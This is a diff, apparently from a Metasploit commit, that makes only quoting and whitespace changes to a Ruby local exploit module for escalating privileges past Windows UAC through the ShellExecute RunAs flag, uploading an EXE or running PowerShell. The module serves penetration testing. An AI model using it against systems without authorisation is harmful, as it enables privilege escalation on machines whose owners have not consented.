@@ -11,61 +11,58 @@ class Metasploit3 < Msf::Exploit::Local
11
11
include Post ::Windows ::Priv
12
12
include Post ::Windows ::Runas
13
13
14
- def initialize ( info = { } )
15
- super ( update_info ( info ,
14
+ def initialize ( info = { } )
15
+ super ( update_info ( info ,
16
16
'Name' => 'Windows Escalate UAC Execute RunAs' ,
17
- 'Description' => %q{
17
+ 'Description' => %q(
18
18
This module will attempt to elevate execution level using
19
19
the ShellExecute undocumented RunAs flag to bypass low
20
20
UAC settings.
21
- } ,
21
+ ) ,
22
22
'License' => MSF_LICENSE ,
23
23
'Author' => [
24
- 'mubix' , # Original technique
25
- 'b00stfr3ak' # Added powershell option
24
+ 'mubix' , # Original technique
25
+ 'b00stfr3ak' # Added powershell option
26
26
] ,
27
- 'Platform' => [ 'win' ] ,
28
- 'SessionTypes' => [ 'meterpreter' ] ,
29
- 'Targets' => [ [ 'Windows' , { } ] ] ,
27
+ 'Platform' => [ 'win' ] ,
28
+ 'SessionTypes' => [ 'meterpreter' ] ,
29
+ 'Targets' => [ [ 'Windows' , { } ] ] ,
30
30
'DefaultTarget' => 0 ,
31
31
'References' => [
32
- [ 'URL' , 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
32
+ [ 'URL' , 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
33
33
] ,
34
- 'DisclosureDate' => " Jan 3 2012"
34
+ 'DisclosureDate' => ' Jan 3 2012'
35
35
) )
36
36
37
37
register_options ( [
38
- OptString . new ( " FILENAME" , [ false , " File name on disk" ] ) ,
39
- OptString . new ( " PATH" , [ false , " Location on disk, %TEMP% used if not set" ] ) ,
40
- OptBool . new ( " UPLOAD" , [ true , " Should the payload be uploaded?" , true ] ) ,
41
- OptEnum . new ( " TECHNIQUE" , [ true , " Technique to use" , 'EXE' , [ ' PSH' , ' EXE' ] ] ) ,
38
+ OptString . new ( ' FILENAME' , [ false , ' File name on disk' ] ) ,
39
+ OptString . new ( ' PATH' , [ false , ' Location on disk, %TEMP% used if not set' ] ) ,
40
+ OptBool . new ( ' UPLOAD' , [ true , ' Should the payload be uploaded?' , true ] ) ,
41
+ OptEnum . new ( ' TECHNIQUE' , [ true , ' Technique to use' , 'EXE' , %w( PSH EXE ) ] ) ,
42
42
] )
43
-
44
43
end
45
44
46
45
def exploit
47
-
48
46
if is_uac_enabled?
49
- print_status " UAC is Enabled, checking level..."
47
+ print_status ' UAC is Enabled, checking level...'
50
48
case get_uac_level
51
49
when UAC_NO_PROMPT
52
- print_good " UAC is not enabled, no prompt for the user"
50
+ print_good ' UAC is not enabled, no prompt for the user'
53
51
else
54
52
print_status "The user will be prompted, wait for them to click 'Ok'"
55
53
end
56
54
else
57
- print_good " UAC is not enabled, no prompt for the user"
55
+ print_good ' UAC is not enabled, no prompt for the user'
58
56
end
59
57
60
58
#
61
59
# Generate payload and random names for upload
62
60
#
63
- case datastore [ " TECHNIQUE" ]
64
- when " EXE"
65
- execute_exe ( datastore [ " FILENAME" ] , datastore [ " PATH" ] , datastore [ " UPLOAD" ] )
66
- when " PSH"
61
+ case datastore [ ' TECHNIQUE' ]
62
+ when ' EXE'
63
+ execute_exe ( datastore [ ' FILENAME' ] , datastore [ ' PATH' ] , datastore [ ' UPLOAD' ] )
64
+ when ' PSH'
67
65
execute_psh
68
66
end
69
67
end
70
68
end
71
-
0 commit comments